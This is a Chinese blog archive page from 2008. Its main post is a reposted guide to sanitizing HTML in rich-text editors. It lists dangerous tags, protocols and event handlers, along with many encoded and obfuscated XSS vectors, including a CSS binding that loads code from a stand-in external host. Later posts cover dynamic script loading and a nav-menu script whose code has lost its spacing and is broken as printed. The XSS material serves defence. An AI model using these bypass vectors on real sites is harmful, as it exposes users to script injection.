2008年4月

转载-富文本编辑器的跨站脚本问题参考

富文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户POST的内容必须含有HTML标签,但是任由用户输入各类HTML标签,会造成一些潜在的恶意脚本攻击,借这类情况正好分析出现XSS的情况,主要针对IE浏览器.

一.首先是微软建议我们可能造成恶意脚本攻击的标签.

类似如下的

tag:

applet
base
basefont
bgsound
blink
body
embed
frame
frameset
head
html
ilayer
iframe
layer
link
meta
object
style
title
script

-----------------------------------
类似这类

<tag

必须删除.

二.针对HTML属性值的协议攻击.

tag:

dynsrc=
href=
lowsrc=
src=
background=
value=
action=
bgsound=

黑客可能利用如下协议:

脚本伪协议

vbscript:
javascript:

文件类协议

ms-its:
mhtml:
data:

第三方协议

firefoxurl:
mocha:
livescript:

---------------------------------
类似这类

<xxx tag=xxx:

如:

<IMG LOWSRC="javascript:alert('XSS')">

必须判断属性的用的啥协议,给个http:就好了.

三.针对普通HTML属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤.

&# 加 ASCII格式

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

---------------------------------
类似这类

<xxx tag=&#

必须判断属性的值&转换成 &amp;

四.css样式style属性问题.

<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">

style属性可以和任意字符的标签结合,因此不是<tag>的问题,必须对style属性值做过滤.

behavior需指定域内也就是绝对路径的HTC文件,危害不大.

expression可以构造不同的全角字符和注释符来扰乱过滤规则.

如:

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<XSS STYLE="xss:exprEssion(alert('XSS'))">

<div style="{ left:expression( alert('xss') ) }">

---------------------------------
类似这类

<xxx style="xxxxxxxxxx"

必须判断style属性的值, :( ~这里正则超级难写,实在不过滤的话,列个白名单,只允许某些值.

五.css样式style属性其他问题.

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="list-style-image: url("javascript:alert('XSS')">

<DIV style="-moz-binding:url(http://xxx.com/mozxss.xml#xss)">

---------------------------------
类似这类

<xxx style="xxxxxxx:url(xxxxx)"

还是判断协议头之类吧.

六.针对普通style属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤.

转义字符\ 加 16进制格式

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

---------------------------------
类似这类

<xxx style="xxxxxxx:\00xx\00xx"

搞个正则过滤\+数字的字符串.

七.针对正常标签组合事件触发脚本的问题.

黑客可以利用类似事件触发脚本:

onload
onerror
onmousemove
onmouseout
onmouseover
onmouseup
onmouseenter
onmouseleave
onmousewheel
onscroll
....................................

类似这类

<xxx on*=

如:

<img src=xx onerror=alert(/xss/)>

情况都给过滤吧.

八.第三方媒体文件,崭只针对FLASH与WEB交互的问题.

FLASH的Action Script比较危险,可以和用户做交互式的访问.

可以设置Flash对象的AllowScriptAccess参数为never来解决问题。

AllowScriptAccess 参数有三个可选值,always、never 和 sameDomain

never 禁止运行对外脚本
always 可以运行对外脚本
sameDomain 只允许同一域下的Flash运行对外脚本


<embed src="demo.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="400" AllowScriptAccess="never"></embed>

动态加载javascript的两种方法

有时要根据需要动态载入javascript文件。
有两种方式可以实现:

1、利用document.createElement("script")来产生script node,并加到Node Tree中。

[CODE=javascript]
var nav = null;

function loadScript(src) {
var obj = document.createElement("script");
obj.src = src;
var target = document.getElementsByTagName("HEAD")[0];
target.appendChild(obj);
}

function test (src) {
try {
loadScript(src);
setTimeout("alert(nav.getInner())", 100);
} catch (e) {
alert(e);
}
}

test("test.js");
[/CODE]

这个方法有些问题:
1、在firefox中改变不会立刻生效,所以我用setTimeout來延缓测试
2、需要对node做适当的管理,否则会占用不必要的系统资源,但问题应该不大

2、ajax + eval的方法。

[CODE=javascript]
var nav=null;

if (window.execScript == null) {
window.execScript = function(script) {
eval(script);
}
}

function useScript (name) {
try {
var loader = xmlhttp();
loader.open('GET', name, false);
loader.send(null);
window.execScript(loader.responseText.toString());
} catch (e) {
alert(e);
}
}

function test1 (name) {
try {
useScript(name);
alert(nav.getInner());
} catch (e) {
alert(e);
}
}

function xmlhttp()
{
try{return new ActiveXObject("Msxml2.XMLHTTP");} catch(e){}
try{return new ActiveXObject("Microsoft.XMLHTTP");} catch(e){}
try{return new XMLHttpRequest();} catch(e){}
alert("XMLHttpRequest Object not existed!!");
return null;
}
[/CODE]

在ie上,eval没办法取用到global variables,所以使用window.execScript来代替,並且为firefox的window物件加上这个函数,让两个浏览器可以用同样的方法操作。execScript的第二个参数可以省略,因为预设就是JavaScript,我这裡就偷懒不写了。
loader.responseText应该就是String了,但是在ie上还是要加toString()才能使用。
eval所执行的程式,会参考到执行eval时程式的上下文,所以在ie上会出问题。这一个部份需要在ie跟firefox上详细測试,这两个浏览器处理的方法不一样。根据JavaScript1.5的说明,eval的第二个参数可以指定在那个物件的上下文中执行,但是在ie中不是这样。

要载入的test.js文件

[CODE=javascript]
nav = {
inner: 3,
getInner: function () { return this.inner; }
};
[/CODE]

google首页的动态菜单代码

有待完善,写的比较丑陋!代码如下:

XML/HTML代码
  1. <styletype="text/css">
  2. #nav{padding:0px; margin:0px; list-style:none;}
  3. #nav li{font-size:12px; cursor:pointer; padding-top:37px; width:52px; text-align:center; float:left; background: url(http://junstyle.me/upload/200906012008252720.png) no-repeat 0px 0px;}
  4. #nav li div{background:#fff; padding-top:3px;}
  5. </style>
  6. <ulid="nav">
  7. <listyle="background-position: 0px 0px"><div>视频</div></li>
  8. <listyle="background-position: 0px -37px"><div>图片</div></li>
  9. <listyle="background-position: 0px -74px"><div>资讯</div></li>
  10. <listyle="background-position: 0px -111px"><div>地图</div></li>
  11. <listyle="background-position: 0px -148px"><div>博客搜索</div></li>
  12. <listyle="background-position: 0px -185px"><div>热榜</div></li>
  13. <listyle="background-position: 0px -222px"><div>网站导航</div></li>
  14. </ul>
  15. <script>
  16. vartimers=[];
  17. varposX=[0, -50, -102, -155, -207];
  18. varposY=[0, -37, -74, -111, -148, -185, -222];
  19. function init(){
  20. varnav=document.getElementById('nav').getElementsByTagName('li');
  21. for(vari=0; i<nav.length; i++){
  22. nav[i].i=i;
  23. nav[i].onmouseover=function(){
  24. varobj=this;
  25. obj.index=0; &nbs
    p;
  26. clearInterval(timers[obj.i]);
  27. timers[obj.i]=setInterval(function(){
  28. if(obj.index==4)
  29. clearInterval(timers[obj.i]);
  30. else
  31. obj.index=obj.index+1;
  32. obj.style.background="url(http://junstyle.me/upload/200906012008252720.png) no-repeat "+posX[obj.index]+"px "+posY[obj.i]+"px";
  33. }, 60);
  34. };
  35. nav[i].onmouseout=function(){
  36. varobj=this;
  37. obj.index=4;
  38. clearInterval(timers[obj.i]);
  39. timers[obj.i]=setInterval(function(){
  40. if(obj.index==0)
  41. clearInterval(timers[obj.i]);
  42. else
  43. obj.index=obj.index-1;
  44. obj.style.background="url(http://junstyle.me/upload/200906012008252720.png) no-repeat "+posX[obj.index]+"px "+posY[obj.i]+"px";
  45. }, 60);
  46. };
  47. }
  48. }
  49. init();
  50. </script>

基于jquery的所见即所得编辑器JsTextBox

网上功能强大且可免费使用并开源的html编辑器不在少数,比较有名的fckeditor, tinymce,freetextbox等,还有收费的cuteditor(个人比较喜欢,功能很强大)。但真正在项目中用到的功能并没有多少,无非就是保存html和上传图片了,就自己动手写一个了。

首先定义一个JsTextBox对象(Json方式定义)

[CODE=javascript]
// StringBuilder类
function StringBuilder(initStr){
this._strings=initStr ? [initStr] : [];
this.append=function(str){ return this._strings.push(str); };
this.toString=function(){ return this._strings.join(''); };
}
[/CODE]